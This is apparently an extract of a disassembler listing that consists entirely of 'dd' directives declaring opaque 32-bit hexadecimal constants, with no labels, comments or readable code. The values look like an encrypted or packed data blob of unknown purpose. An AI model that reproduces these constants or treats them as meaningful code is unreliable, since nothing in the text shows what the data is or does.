		dd 0F7C7B8F5h, 56356BDFh, 2E8A1867h, 46740688h,	74104D17h
		dd 272936EDh, 0DB747028h, 680BEB09h, 0D691150h,	0BD59C393h
		dd 575E8B59h, 8052533h,	0B645E810h, 18897CADh, 68C23857h
		dd 0DD30A07Ch, 0B5DB9947h, 4E13E964h, 5A45131h,	78882762h
		dd 0F4FDEC62h, 895F6071h, 699DCB8h, 0FFFA5C85h,	0C5D0E3FEh
		dd 0CEEF633h, 0EC241DEAh, 8CA34964h, 0B4249B50h, 69A912F2h
		dd 0CB68DCEAh, 5FCB41F6h, 2467C420h, 513C2975h,	593342A8h
		dd 1A6D9D2Eh, 3B3B040Ah, 53A28954h, 0E0205B52h,	0AAA42156h
		dd 0B089D04Fh, 574E0DCEh, 4E20C22h, 88D2F6E4h, 0BD29693Bh
		dd 0E090D3CDh, 17E5A4A4h, 0D298015Eh, 59F99653h, 6C144203h
		dd 0F0D096ACh, 81880C4Fh, 884FB4F4h, 59174642h,	0F026C5E1h
		dd 2C9ACCCDh, 70E8E619h, 7C46B7CAh, 6A2887B5h, 0F22EB36Dh
		dd 0B114272Ch, 0A828C5C1h, 0B464CE20h, 0BB92C89Ch, 88E665D0h
		dd 680DFBECh, 133EE328h, 269B84A6h, 0D1341811h,	0D217D45h
		dd 1E8B096Ah, 0F911A50Ch, 0C9AE29B8h, 911677B4h, 45DC4528h
		dd 6840DC9Ch, 0D34107BFh, 5D1EF823h, 0C5B8C9A3h, 8C86440h
		dd 0EC227637h, 45CE2148h, 21F9C569h, 48B488A2h,	0B4561544h
		dd 2FE97599h, 1A24A3C4h, 9F5057B0h, 0B5EA48B3h,	0DCE88890h
		dd 93646EFFh, 2B07CA62h, 34AD935Bh, 27EBA4F5h, 9116A750h
		dd 27855B4Ch, 27BBDE39h, 0F12751DCh, 0A8189705h, 0E809DD43h
		dd 6994223Fh, 0F0FA98FFh, 49DB7433h, 0B74ECB87h, 33AF5F55h
		dd 0FEE546FEh, 592425E2h, 686E4C7Ch, 90FF824h, 6A8F447h
		dd 3CC33BD7h, 19751014h, 4A4CA1E6h, 1441417h, 0FF0C4E83h
		dd 983AEA52h, 8D10AA32h, 28751484h, 5989B66Ch, 0C3043354h
		dd 34EB1476h, 0E9AF05EAh, 693ABDA0h, 9916D6BEh,	901410E8h
		dd 820EC0Ch, 63D7F05Dh,	10036A94h, 3712450h, 3574C32Bh
		dd 7E2C9B48h, 4253AC06h, 20632118h, 0BA2F5181h,	574C4D04h
		dd 80100DD7h, 8A31BEBh,	6B9404B2h, 16C97F98h, 0CD4CDC08h
		dd 77DD6A34h, 19193314h, 942360Ah, 0CC92F04h, 0E8566330h
		dd 0C1A29434h, 145668FFh, 6A7010B7h, 54519F18h,	970BD424h
		dd 645374A6h, 0C7BAC2F7h, 6BD2DC29h, 0AD41E44h,	733E3B56h
		dd 56047E16h, 67317BC5h, 0AC7FF07Dh, 0D3FFC59Bh, 24BB7E25h
		dd 0FCCF7255h, 0D720EB22h, 46EC6C66h, 0FC7F0467h, 4590508Dh
		dd 23BCA214h, 45A572E8h, 0C92EEB91h, 3E886BB8h,	996070E8h
		dd 0DF6EA84Eh, 83BCA823h, 7E83A916h, 3FD187F7h,	31419468h
		dd 41A042CDh, 746AC5ACh, 18215905h, 0BADFC3F8h,	0F47EA527h
		dd 68500343h, 680AE013h, 0A1A20BF2h, 2206FCB1h,	0C68B14A9h
		dd 2258E2F9h, 2054446Ah, 0F826A864h, 7BA65527h,	49C03F25h
		dd 4FF173F9h, 955A15E8h, 50248562h, 0A828F1BEh,	7CF845E8h
		dd 0AC659933h, 64BBC4CEh, 8C406B0h, 4FBC10C0h, 0CCD833F4h
		dd 0DA0FDC06h, 0D44E1D90h, 8841C6A6h, 7DD21565h, 0EC448214h
		dd 0E356FCA8h, 68088FB0h, 8B954B74h, 0CD4EFF41h, 0CBE8206Ah
		dd 0ECF44D09h, 0F07527CDh, 9AFD8989h, 6231569Dh, 3E4516EBh
		dd 9E4B3C08h, 44C7A034h, 0D91A59FCh, 0B0C98171h, 0A1DCEBA0h
		dd 0C914E8BAh, 6ACD242Ch, 82D92EE1h, 402BED7Fh,	8A913789h
		dd 2627409h, 77D23217h,	7640E80Ch, 8C8A2A08h, 0F9804135h
		dd 0D4C3210Ah, 74020DFAh, 584C609h, 0F42C7850h,	8C882A40h
		dd 1246F009h, 53BD18Ah,	50D672A6h, 8E64124Ch, 9886BD77h
		dd 0A5167E98h, 98EBC066h, 0AEA4358Bh, 0EDB8D6F4h, 0F746D1Ah
		dd 7CB7040Eh, 32417D21h, 8EB243E6h, 0FF9310DCh,	8908BE22h
		dd 347EDE90h, 0A275C606h, 42200B48h, 854C2164h,	0B8ED8E0Fh
		dd 76F08412h, 0A84DEF83h, 0C08ADEEBh, 0C8BE0F42h, 5394F981h
		dd 0C3C1542Fh, 731D083Ch, 7FDD5774h, 3C7531Eh, 0A55B0A75h
		dd 6C91285Ah, 0C7FB6CEBh, 4CB21EE6h, 2031C2C6h,	258F908h
		dd 44FB24FAh, 0FD000DFCh, 0EB066A0Ah, 1B1364Ah,	4633D37Ah
		dd 0D3CE61Fh, 75595030h, 12C65225h, 4C650A37h, 0EB01022Eh
		dd 76F33B13h, 89914E26h, 80202208h, 0A85903F0h,	9351F8A6h
		dd 97B56E09h, 34D08669h, 3D5347BDh, 47717C3h, 27A256BCh
		dd 1BE98D82h, 0B5E5957h, 45380C75h, 91950AE9h, 28DEF06Ah
		dd 0FBA4BFC7h, 0C423A963h, 0A9CBEBD4h, 5B401020h, 0FA5DDE2Ch
		dd 5927E8DDh, 0F613E4D9h, 26A88983h, 0C2BE5375h, 2656A38Bh
		dd 1939C0D1h, 0F004EEB2h, 0A994F873h, 0F653C97Eh, 0FB945491h
		dd 0B14E2191h, 0B20C2CF7h, 14512810h, 0B9381B5h, 4ED9995Eh
		dd 28FEDABEh, 0A65A06D0h, 95F10D25h, 1A420F28h,	49CC6066h
		dd 0B9A3304Fh, 4BCD3844h, 0BE0F6487h, 3EF8B731h, 5B565902h
		dd 76FBDC64h, 0C4136A04h, 2082D88Bh, 0C469CBDEh, 4438CFBFh
		dd 43F6286Ch, 0E1A59A88h, 124853C1h, 1E19626Ah,	11729DFBh
		dd 0C489C842h, 8C44E59h, 31FF2C44h, 211A13D2h, 1CD871C8h
		dd 7BA18F05h, 444BEC88h, 1362551Fh, 0F9E839E9h,	231710E5h
		dd 0FC62B8C8h, 2B1973A4h, 86C3D00Ah, 3DEE898Dh,	0E0C45F11h
		dd 5992A04Ch, 26283E97h, 590505D4h, 29EA042Ch, 0D402606Fh
		dd 0B950298h, 2FA8C677h, 6E928D5Fh, 0BDACCE84h,	8BDB0937h
		dd 44BE7806h, 0EED68905h, 0D452D7BFh, 0EE328950h, 5A12FA0Eh
		dd 0D7BD7C27h, 0C4108E19h, 2DAE9FC7h, 0D46BA526h, 0AB77498Bh
		dd 3217C56Dh, 43367F62h, 0BD80C596h, 4043009h, 32D6ED4Ch
		dd 0E631451Ah, 3840E004h, 7774BC5Dh, 0EAAC89A3h, 0BDE87270h
		dd 0C588B6ABh, 68162C61h, 12E3F049h, 105352E8h,	164199E6h
		dd 9D88B401h, 0F5C65743h, 0E85D5001h, 626AA0A3h, 1D8430E4h
		dd 0B2E6856Ah, 960AF7C4h, 4F95567Ah, 73C17890h,	32858B66h
		dd 49286FA6h, 1AC88D58h, 0C923A634h, 2832AB59h,	179C5FECh
		dd 0B95D752Fh, 22D6B0BCh, 98B73CBAh, 0BE85B84h,	83F1432h
		dd 8D719E68h, 73D9E4A7h
		dd 0A35DDBADh, 886C906Fh, 9C21FC4Bh, 0F9215E9Fh, 7E4CC89Dh
		dd 0C3E85A3Fh, 5FD20C21h, 494906E2h, 4C8A2E59h,	9CC85D42h
		dd 43181C7Ah, 5BA8D384h, 0C889EAA5h, 6A13A56Eh,	859D9A23h
		dd 893AF9C9h, 0EA233A59h, 12F641C9h, 39DAF06Ah,	9741012h
		dd 0D73CFEDh, 0F07201F9h, 33A02E0Bh, 2D5CFB95h,	3A568902h
		dd 991569CAh, 1BD0B79Eh, 0CACA5738h, 7E1142E4h,	29A7534Eh
		dd 572C740Ah, 76F84934h, 684A169Fh, 4916605Fh, 74426D73h
		dd 4B3E9B48h, 0D769F22Bh, 4447C8F9h, 8A60A65Ah,	53E54619h
		dd 1FBE4475h, 0C91EE545h, 0F5087C22h, 9A826B0Dh, 899D558h
		dd 0FC8C01F2h, 0D513FF04h, 7EE7CE1Dh, 68144DC1h, 67824932h
		dd 8295F806h, 0EB1B53ABh, 2556343Ch, 0B85D9068h, 799D3976h
		dd 10CC9728h, 1FF88821h, 0A488E124h, 0FC8C62FEh, 38825F22h
		dd 3484F888h, 0EF7B398Ah, 0E5EC2DC9h, 0A0E7B59Bh, 400682Dh
		dd 456EB550h, 0A734565Fh, 8D6AC2F1h, 6F100D46h,	0DCFE9509h
		dd 2A535916h, 0ACC464AEh, 9D171252h, 21F674DDh,	3BFEA0B5h
		dd 45A168FCh, 41322FD6h, 0EC8BFF56h, 75423E51h,	0B5565519h
		dd 1299C25Ah, 0E22457F6h, 0A22AA47h, 18771290h,	0E19BF167h
		dd 0D63CE87Fh, 0FAC410BBh, 10F27AF4h, 0EF42816Dh, 2C389B84h
		dd 99A48F6h, 0E9F01C8Ah, 9F396EC0h, 0D4285C91h,	0FCBF9576h
		dd 9DA9EBB7h, 8BB58AD0h, 2836AB24h, 8943A50Ah, 64F7B2B5h
		dd 9B847678h, 2AE805A5h, 6A65FA9Ch, 0AB7510ACh,	94667917h
		dd 8E0FE146h, 0A0A19239h, 288B8DF4h, 418788CFh,	0A1A42EFAh
		dd 0A011D889h, 599710F4h, 1F594BA3h, 1182C41Ah,	80496875h
		dd 0CCA4B3Bh, 25C83C19h, 0DEF429FBh, 0F0B096h, 9D38809Eh
		dd 0B18929A2h, 0A3C25504h, 53867E55h, 9425B9BBh, 95E14190h
		dd 0F2C65381h, 0B7E3204Ah, 0C9AB11D3h, 0CBE431F9h, 842224B4h
		dd 1B12DD03h, 2AC85D78h, 5F8B648Ah, 909674B2h, 748D20D3h
		dd 58F5D34Dh, 51F47876h, 0BF21BF9Eh, 981397A1h,	8A150E34h
		dd 5C688258h, 23E45A4Dh, 86249E18h, 7FD98857h, 803704D8h
		dd 1052E959h, 1104C8C8h, 8D8A0DEDh, 0E2DB1B33h,	238ED932h
		dd 1275C0B8h, 3224C0FEh, 8A1451C9h, 828BC8D1h, 0C1FE0EEBh
		dd 88D1099h, 0C0B6320Fh, 647FC906h, 8213B78Ah, 2B09140Ah
		dd 0F29C5C7h, 7AB6D408h, 82027D6Ah, 0B4F495F0h,	4AF88B42h
		dd 82A4DF85h, 478F9175h, 92F34A04h, 6EC20ABFh, 0C3C79F7h
		dd 0AC9D4321h, 0C47E46E2h, 91E360Dh, 49FE3C05h,	64AA1645h
		dd 9F8C016h, 0B1D03068h, 80BBD272h, 0FD5F8F12h,	56A14982h
		dd 82C22C3Fh, 27B39470h, 59C1B6A4h, 0D7371375h,	394A1F3Bh
		dd 93B22EDAh, 0EA0B57CBh, 55FCC389h, 8A031478h,	2C620C5Ch
		dd 8E580971h, 0CFAA7ED7h, 141243ACh, 87E5551Ch,	110AA276h
		dd 429118C1h, 211C6512h, 5608AD34h, 0AD932C98h,	0F65B7070h
		dd 77CB95ACh, 6957B142h, 11945006h, 0F82105FAh,	0F688F010h
		dd 8CF9F247h, 1056B97Ch, 62A160E8h, 7593AF0Ch, 0BD9B7A93h
		dd 75029163h, 0E6754B37h, 545E7549h, 0AF84B5F2h, 0FCEC619Ch
		dd 448C9408h, 0E8130C14h, 62BF7D86h, 4AFB5E92h,	229C0896h
		dd 24A52C83h, 2572B295h, 0D148A9F7h, 0E7241FB3h, 909CCA71h
		dd 39F42523h, 53A62851h, 71612D91h, 0FE8404B5h,	516A05AAh
		dd 0D07C8C50h, 19BB21CBh, 0A577082Bh, 0C53B2344h, 79757438h
		dd 868C2A28h, 90FD4524h, 6812FB0Fh, 0F844314Ch,	970C049Ah
		dd 998DD584h, 201DA11Dh, 0FC928096h, 0E88DA050h, 2E2ABD66h
		dd 3B531432h, 0D157A496h, 0C4639762h, 2B2512A4h, 0BC150853h
		dd 8BA2F5AFh, 27688408h, 0E8DE106Ah, 0BF0F1262h, 78A2B4F0h
		dd 85B5FC4Bh, 2F62524h,	7B7480C4h, 1D91146Ah, 25EB2C66h
		dd 7E2D831Fh, 4047AF1Ah, 40A1556h, 0C7107D5Bh, 9C058584h
		dd 7F68E9C1h, 1E712C0Dh, 577DC320h, 2C82B2Eh, 3C5A5444h
		dd 8031439h, 10198A40h,	88300804h, 5286B48Bh, 6467178Dh
		dd 2D1A960Fh, 8C20509Fh, 12B0D2DEh, 0E8B30217h,	0F2C89140h
		dd 236B05A4h, 0F8002625h, 2DE8317Bh, 84B93D27h,	25765959h
		dd 5C52879Bh, 467885B4h, 9641EB56h, 8F1C62BEh, 505A5338h
		dd 905FEB21h, 84A921FBh, 431E09A8h, 5CAB2088h, 99597031h
		dd 0C7B39F27h, 32102AB4h, 431DBC96h, 40EB2496h,	7401FE03h
		dd 30A3A14h, 27A0FA0h, 26040540h, 89D41A75h, 935D07EBh
		dd 8328B587h, 9F1C2DE8h, 2A834726h, 0E381142Ch,	0EB42B413h
		dd 7F278C0Fh, 0D8709729h, 0A48EC381h, 592CE847h, 9446E841h
		dd 1244DB7Ah, 2BAB4B8h,	9B3EE87Ch, 27274379h, 0F2855842h
		dd 34EFAD13h, 0F820B072h, 821583B7h, 0AE128490h, 2FE41232h
		dd 0F35495E9h, 344DC972h, 5F808A3Eh, 9D83F3D5h,	99735E8Bh
		dd 36842B81h, 0B5E876E4h, 0FC160CCDh, 0BC4189CAh, 0BC6821D6h
		dd 8800285Eh, 0D875C298h, 1A84DBF8h, 6ED4E881h,	61236174h
		dd 0EE798AE8h, 0F54CFDFAh, 4F314A13h, 7105D081h, 94DBF393h
		dd 73D02D19h, 3CE4E462h, 7E645675h, 0A3629088h,	6AE41597h
		dd 304F9578h, 869105F3h, 0F292EB13h, 64EDDD65h,	0FCFAFB4Eh
		dd 0D368646Ah, 55149889h, 0EC83B5E0h, 20428660h, 7846E7E8h
		dd 68F912C8h, 0BB53090Fh, 0E497A978h, 0FE2F817Ch, 16C0F93Eh
		dd 0D4D993C5h, 0FD5323A5h, 9C280FE9h, 553B2627h, 75060337h
		dd 58858BC6h, 6D1E1364h, 0F4AFA053h, 6CB47532h,	54682274h
		dd 96EBAF98h, 539B6CB7h, 4421179Dh, 86A0D490h, 332DC38Bh
		dd 7ADDA4FFh, 845D8945h, 442726A9h, 0F84B242h, 0EBAFD547h
		dd 0E3A1D1D7h, 4BA155E9h, 68EAA021h, 1E960F60h,	429D2064h
		dd 6E1AD76Eh, 48BB571h,	9205557Fh, 0FFD6418Ch, 0AB688534h
		dd 1091400Fh, 0D58BDA5Dh, 271C3819h, 77A2E145h,	2ECD111Bh
		dd 0A6D5BB4Ah, 0E41521F7h, 57D05C5Dh, 10647E88h, 0D6585B4Ah
		dd 75884A47h, 72AA5649h, 90C99F82h, 3F5ABD1Ch, 61A0A32Fh
		dd 545B84Fh, 8F888FAh, 5F4B0A98h, 9590CA44h, 0BB93BDADh
		dd 0C35E5D04h, 6419FDABh, 75717B2Ah, 128121EBh,	75386A26h
		dd 48682ADAh, 80AFB11h,	654068C9h, 0B0487148h, 0A5381201h
		dd 48283315h, 22438630h, 11642888h, 0E1862038h,	0B815751Ch
		dd 11111868h, 0A7C994EFh, 90117C08h, 6896A0DEh,	0CD428608h
		dd 0A970A894h, 0F1CBC11h, 8511FCBFh, 85EF468h, 5B59A715h
		dd 4786E808h, 50977D92h, 4317AEDBh, 947910A0h, 944264BCh
		dd 536298C8h, 43F5B694h, 263E2990h, 2D328844h, 6CF5243Ah
		dd 76951C32h, 3C8CC10h,	93EE2174h, 0DD426168h, 0C450B993h
		dd 9356CC0Ch, 65BCC887h, 0B43728B7h, 88A64386h,	749564ACh
		dd 420C873Ch, 937C1060h, 158767BCh, 0AD722604h,	0C8FC1076h
		dd 0CF07141h, 0E4108730h, 0F2EA1FC8h, 0ECAD890h, 48435C87h
		dd 0BC92F510h, 0C89242E0h, 92CF6238h, 15245436h, 1026A5BAh
		dd 0E8A9C818h, 8B2EA565h, 0B3891328h, 4492D994h, 55483225h
		dd 1AB175C5h, 0B107FC49h, 2DB0893Fh, 84C05A93h,	4B489D88h
		dd 1D35EFFCh, 7A3100F5h, 0BCEC0F05h, 6405EBD3h,	2AB9E25Dh
		dd 85F1525h, 5E491AFBh,	0BF0FC303h, 87570AEAh, 30E451EFh
		dd 0E80ABCEDh, 3C729C31h, 890BE8CAh, 0AF8E7FE4h, 0B06D0249h
		dd 975F005h, 31FCCAAEh,	106AB48Dh, 48EC4D2Ch, 11614286h
		dd 5D849156h, 0E9C412D4h, 0FE561A13h, 7B6867AEh, 0E8613674h
		dd 2D77731Dh, 2AEC867Eh
		dd 0B07BCA94h, 9F8C9EE8h, 4BBD291Eh, 4B0FEE79h,	7E4D29F4h
		dd 508B3112h, 866848C8h, 1590D062h, 367297E2h, 0C429C223h
		dd 0C93F3D18h, 844F2954h, 5348EC48h, 0A0E3761Eh, 48534B11h
		dd 80C1F04Fh, 259F51BDh, 0D0CFD906h, 8B13825Ch,	0F671E43Dh
		dd 5ECD4F4Bh, 6AD6711Dh, 1D6F19F5h, 186E5869h, 0AA6774F8h
		dd 0A4641913h, 6DEF6E87h, 14990A9Fh, 10544E9Ah,	0DFFAD9E8h
		dd 0A4301BFDh, 0DD867AD6h, 7CE4EC44h, 8FF388CFh, 584C2183h
		dd 9C5CB311h, 0F4882843h, 2216CB59h, 0F0517469h, 161EC499h
		dd 5761AE87h, 802E347Eh, 5BC80E0h, 8D0D1AA0h, 75088454h
		dd 4C60338h, 0A388020h,	93EED37h, 0E16A8838h, 1E391886h
		dd 0CC557C59h, 840FFCA8h, 0A760289Dh, 28A01332h, 523CC525h
		dd 854AEF86h, 86681123h, 48027EC9h, 12B8CAB9h, 0E997452Ch
		dd 743D219Bh, 1A395867h, 2023FB46h, 8060F870h, 36A165EBh
		dd 5A210A31h, 2BC4425Ch, 0B011312Fh, 55DD0F90h,	2E903155h
		dd 62226F9Bh, 2709938Ch, 8FA8290Fh, 3ED02044h, 9C07850Fh
		dd 0D642241Bh, 8D705521h, 0F53DE2E9h, 436649D1h, 1D46D41Bh
		dd 1154E29Bh, 0E9CC6B94h, 1F4EBD04h, 6C11A547h,	29084FDh
		dd 24DCBB65h, 188E6952h, 0C29A7B5Dh, 0E93FDF4h,	98E844BCh
		dd 64F1E2BBh, 2EA96C21h, 8F61BC10h, 0F85FD0CAh,	66ACD38Ah
		dd 1C562014h, 0AE538493h, 0C690C9BDh, 16FD6C11h, 8776F8Fh
		dd 0BA21FBE4h, 0B5F18A26h, 150B1A70h, 48377389h, 28462B5h
		dd 6AEE0209h, 5993E10Eh, 4DEE4D2Ah, 4C8A60A5h, 61EE0DD3h
		dd 2BFD7C28h, 0E95ABADBh, 0E9526239h, 452474F3h, 1B39875Fh
		dd 6ACCB29Ah, 0A9A7D84Eh, 0DA70E025h, 16A343D0h, 0E60DC04Dh
		dd 0C36B3651h, 0AED47DEFh, 3A91D929h, 0FEB941A3h, 2BA8DEE9h
		dd 0FD4F5AA7h, 5282F4Ah, 39FCAA76h, 0CC3CC63Bh,	2285B74Fh
		dd 8CE6214h, 5D03D07Dh,	0D43218D2h, 6D50880h, 50D619CCh
		dd 41149FDCh, 0AE8EE0Eh, 6290168Dh, 5B01B999h, 0DF24BF04h
		dd 78681B43h, 2D12BB56h, 2D54EC41h, 49EA576Bh, 138EE457h
		dd 9C67E810h, 98CC0936h, 16F9A8F4h, 0BA54EB02h,	1C085194h
		dd 0EB10F84Bh, 0B0683811h, 25512FC8h, 0A48C96ECh, 89F2BFF9h
		dd 0F455891Fh, 210E8894h, 0DA013902h, 0E280D21Ah, 88D1F00Eh
		dd 6870557Ch, 862E406Ch, 0AC5052F8h, 6E52FAC9h,	9AFEC189h
		dd 7F2B1006h, 9EE42E11h, 61A8303Fh, 1841BC4Ch, 0B80E9918h
		dd 1000B652h, 360330A5h, 3E5E146Ah, 70E65513h, 0C867CAC4h
		dd 1FB6FC6Fh, 0E9E880D3h, 813F8403h, 5211E5C2h,	0FBEC5D73h
		dd 8B3D0501h, 0EE7C1F8h, 3DF0F7AAh, 1C57290Bh, 5869A82Ch
		dd 0ED0C7F11h, 0B76A50CDh, 20D8313Bh, 0E8256DCh, 905D888Ch
		dd 691A382h, 30926616h,	88510CD8h, 206ACC98h, 0E84223B1h
		dd 0BD3AD0D6h, 0D4553F92h, 23C5C66Dh, 6A311D84h, 7F0F1C34h
		dd 0FC35232Ah, 21CC4621h, 0E2A21034h, 14911960h, 0F4991284h
		dd 42027470h, 46442988h, 0C9102890h, 0D9D6C87Eh, 0D189145Ch
		dd 943F2D21h, 0E82D7581h, 5B988BF6h, 1893F5Dh, 481C1045h
		dd 3BE8C080h, 7F04C8FAh, 0CA8C0F3Ch, 0E4D788FAh, 73C41CC0h
		dd 0BCBDE92Eh, 8C225B18h, 0E4682C0Ch, 8A716359h, 6211C242h
		dd 0FD238B18h, 0E5038899h, 62A4D65Dh, 5F5E49CCh, 0C389F3F9h
		dd 0B19AD55Fh, 0AE20105Fh, 1263DA7Ch, 38C5F07Dh, 0BE418923h
		dd 0D87B7B16h, 801D15FFh, 89A77ADAh, 576749A5h,	0C153A620h
		dd 848D2C39h, 5E047232h, 70E6EAF1h, 20C6CBBFh, 0CA9750D8h
		dd 0BD3DF73h, 0FF4E733Ch, 0BCA1BBACh, 913F0903h, 3C686A5Fh
		dd 0FE448439h, 675B5819h, 43024E6Ch, 7F988902h,	479F13F8h
		dd 75FC05CAh, 44DC2C5Fh, 846208FBh, 33909554h, 3504DFD6h
		dd 570ADC7Dh, 13D9481Ch, 0F665BED8h, 0FE443591h, 1D6B5A11h
		dd 0DD09FCF9h, 0C1AB1522h, 284E3F4h, 0E2147559h, 0B40D4D4Eh
		dd 0FA8B9A51h, 19295057h, 757CD096h, 0B41079ADh, 77A31CC8h
		dd 8D6AE3F8h, 6CC80E91h, 0A6644FDBh, 55758508h,	18946832h
		dd 688388B4h, 0D6675ECBh, 0A7847C47h, 34056221h, 0E4141397h
		dd 3C856E04h, 7DF99F57h, 57D287C8h, 2C4DF6FEh, 8F6802Bh
		dd 5997D6FFh, 0A2B1A51h, 0A42673FDh, 0FD0026Fh,	25759487h
		dd 8FD01C18h, 95A805C6h, 0D23A170Bh, 66D4AB00h,	0E350AAA3h
		dd 0AC541D54h, 0AE453D07h, 5B04891h, 0B11D8880h, 20B21422h
		dd 33E83074h, 5541DDAAh, 0E908F5C1h, 3159029h, 15591FC8h
		dd 0DE067E0Dh, 155FB41Dh, 0EF18EB5Bh, 0BC7B2AC4h, 89A3B2B8h
		dd 0D10AF1Bh, 0E2DB11B8h, 0BD976687h, 88856D54h, 1308BC15h
		dd 9BDD9D0h, 0C2F019D6h, 30CD56FCh, 0B1BE9112h,	4213C2B3h
		dd 0C0151011h, 28445C48h, 460A8BFFh, 13C46852h,	7384300Bh
		dd 5D28ADFAh, 0FEB46EFFh, 4CE6F64Fh, 3312A5ADh,	12E9DA0Bh
		dd 5A52549Ah, 0FE44F579h, 427EC2E6h, 2AE85162h,	42C6B828h
		dd 50182687h, 689323FCh, 301FBE62h, 0A387821Ch,	0A1D7AF75h
		dd 3CC06BB5h, 0E8B6F07Bh, 75F70A13h, 14DD05ABh,	0A5833D51h
		dd 48765C14h, 6D465285h, 0C6864725h, 64858F94h,	8E39780Eh
		dd 0EB819721h, 32024C8h, 85888F88h, 49A84996h, 895CB0E4h
		dd 3EA3B85Ah, 0AAB5BC13h, 84BE5934h, 4B808E04h,	0C0C9D6F1h
		dd 11EE4A7Bh, 41B8E418h, 674C33Bh, 934DDA68h, 0E64F1743h
		dd 633C10D6h, 98B7898Fh, 0D286D847h, 10FAB734h,	0BCCEFEC0h
		dd 67477FF1h, 21BEA67Eh, 0D01E1E7Bh, 7B80D908h,	770CCF25h
		dd 79C92C9Ah, 67917FEBh, 0AE2E1C6Ah, 822F0D21h,	15D6C9ADh
		dd 74DCB80Eh, 8D458E6Dh, 0AA8407Eh, 0D8C87233h,	0F6330A10h
		dd 7EC0FEC2h, 6B114B26h, 0D0AE6A61h, 7546F4F7h,	60ECC44Fh
		dd 1431E5D7h, 0FB80AAF1h, 0AADA7CC0h, 60585D0Fh, 1010CE8Fh
		dd 2B84BBC4h, 6C6682C4h, 211D46ADh, 3853920Bh, 0E884108Ch
		dd 0CC918F87h, 230EFFD2h, 0BF8BB620h, 59F59330h, 2E4116Ah
		dd 0E24EC5B7h, 5E1A812Eh, 14DF694Fh, 0C445B569h, 3A75080Eh
		dd 48B29E37h, 0B84BACC7h, 0FCCCA1BCh, 0DE989012h, 7A8C83DDh
		dd 906A997Dh, 7FE4CBCCh, 0DE2498B2h, 65A421CCh,	0CF18FA1Dh
		dd 0E078841Ch, 0E77F2D27h, 28A8A944h, 89D81A3h,	9D2852EAh
		dd 0E811FE21h, 0BABDA6DBh, 0DFFA13Eh, 0E63C5242h, 39934DD3h
		dd 45129EA9h, 12AB58F2h, 41D4FFB8h, 0FB8478C0h,	0AF8B523Fh
		dd 418875D6h, 0BC75F1D8h, 58CC4943h, 1A7E02CEh,	0E7838DE8h
		dd 4B92A08h, 359488D4h,	7CD491EFh, 396BBBE6h, 0A301DF4Dh
		dd 5E0B6A55h, 5741CC6Fh, 5D5FE834h, 163E4B26h, 0F8C22BD4h
		dd 0BA5A9BC3h, 9A20EC53h, 4F19B74Fh, 62CEE54Eh,	52BC2667h
		dd 0D56BAC23h, 0EB24E596h, 64F138A1h, 8242A50Ch, 64466CBCh
		dd 611B97C4h, 0A2677DF5h, 6C13A197h, 3985A2D3h,	8E101CECh
		dd 1488C5B7h, 0AA920770h, 1202E31h, 0B9C3E0Dh, 459BA6B8h
		dd 0A2C06D0Ah, 707916ECh, 880D659Fh, 0FAD863CFh, 789DA41Ah
		dd 5B5843F0h, 4E54BD6Ch, 7593E606h, 7EB5BFC4h, 0E6D669BFh
		dd 0C2681EF1h, 54FD92A7h, 535E272Dh, 0AC197EC7h, 310C28E5h
		dd 8D1D90BFh, 9BF42AB5h, 0B8DF4B8Bh, 0AC88F43Fh, 0B6746106h
		dd 2B51FC4Dh, 5027C1B2h, 83631754h, 754BD8C6h, 9D31ACD7h
		dd 25BD1D59h, 0C83CDC36h, 6422321Ch, 1A2AB2F7h,	1C1E0424h
		dd 0E98F228h, 904F0C75h, 0BC13E716h, 661148CBh,	85F8C973h
		dd 48A27F97h, 0D07B2022h
		dd 2556F088h, 0AB5F5753h, 0EDF98994h, 925F162Fh, 2FD0FE30h
		dd 62DAA6AFh, 43A6B6F5h, 806410E4h, 622911BBh, 181954B1h
		dd 8B7B4AB2h, 8F6EA863h, 231DF464h, 0A8B7C810h,	88141E79h
		dd 32C2B01Bh, 657C9BE8h, 25423F1Ah, 90724D10h, 42B420B2h
		dd 9110C8E0h, 40E422E2h, 0E989E8E6h, 75FEEA08h,	265EF046h
		dd 0CE664DD5h, 313AD42Ah, 0D90850D8h, 0CC6E3202h, 0BEC0E8DAh
		dd 0F2DE90E0h, 0C44016F8h, 11C08914h, 0F80898F5h, 13F28B17h
		dd 0A8404CEFh, 0E817DC67h, 0DCDA7F43h, 25E4CCCFh, 0F51B287Fh
		dd 0D9D0880Ah, 59C93F6Ah, 3E45F421h, 0ECB2DFE3h, 61F79F15h
		dd 5857CC08h, 88D88E6h,	0DC647230h, 2C57E004h, 1034A5C3h
		dd 0AFB2C860h, 2323DF1Ch, 71EAE27Bh, 463CBD1Bh,	0DFF18A7Dh
		dd 0F4F2B011h, 7927431Ch, 3BFC8585h, 0C8DEF4C6h, 0A8F84086h
		dd 0DD0ABB89h, 93846450h, 46AD387Dh, 0DEF48816h, 626FD021h
		dd 96C57C45h, 98E23A9Eh, 7D9C2FA8h, 0DABCDE9Eh,	84FD0D58h
		dd 94F21C46h, 43CD14F7h, 0FE6C1365h, 12C22A6h, 0D1E8D8A9h
		dd 59583B92h, 3FB3A4B0h, 0B5D2A67h, 6CC443FEh, 0A62CF0A4h
		dd 7CB527DEh, 0FC96154Fh, 446CAF7Ch, 5E477AFEh,	11FC427Eh
		dd 38415A5h, 98252E78h,	59E9B0D7h, 3FA56E83h, 49D25E52h
		dd 2605A865h, 6868CBBh,	5A079AB0h, 89AC7D8Dh, 98FE5249h
		dd 6B804151h, 9984F293h, 1A888855h, 0EB1088Ch, 940C0C90h
		dd 98101143h, 299CC416h, 143AA031h, 9FA4EA83h, 33ABB0A3h
		dd 0B40ED48Eh, 2EB80633h, 292082BCh, 0C48E178Ch, 3FC76182h
		dd 0CC4D1B89h, 0D80CD5ACh, 1AA8AB5Eh, 0BE85782h, 26B2C8D6h
		dd 58697DFCh, 389C7E48h, 0E1588AB8h, 79EA929Fh,	0F1D4AF8Eh
		dd 5D728DC6h, 1A4A1656h, 17CC6718h, 82F5129Fh, 4977D3A4h
		dd 0C93D3D82h, 18549D6Bh, 81A1025h, 3B9A6F68h, 85FB3573h
		dd 9989AE27h, 0D2F3A23Bh, 1AD0A2EAh, 0F1522BD7h, 170CC4E1h
		dd 497F05BDh, 9909A991h, 0CDC8CB8Bh, 4FDC25F4h,	18E2C101h
		dd 4A3AD00Bh, 0CC1A7711h, 6AFAAC1Ah, 0A4B91384h, 0DC0DA41Fh
		dd 0C28B1E5h, 308404DDh, 5352E8D4h, 2FE0124Fh, 16DD3349h
		dd 27448BFCh, 304CB095h, 0E2395665h, 0DE2CB98Bh, 0E8E405CAh
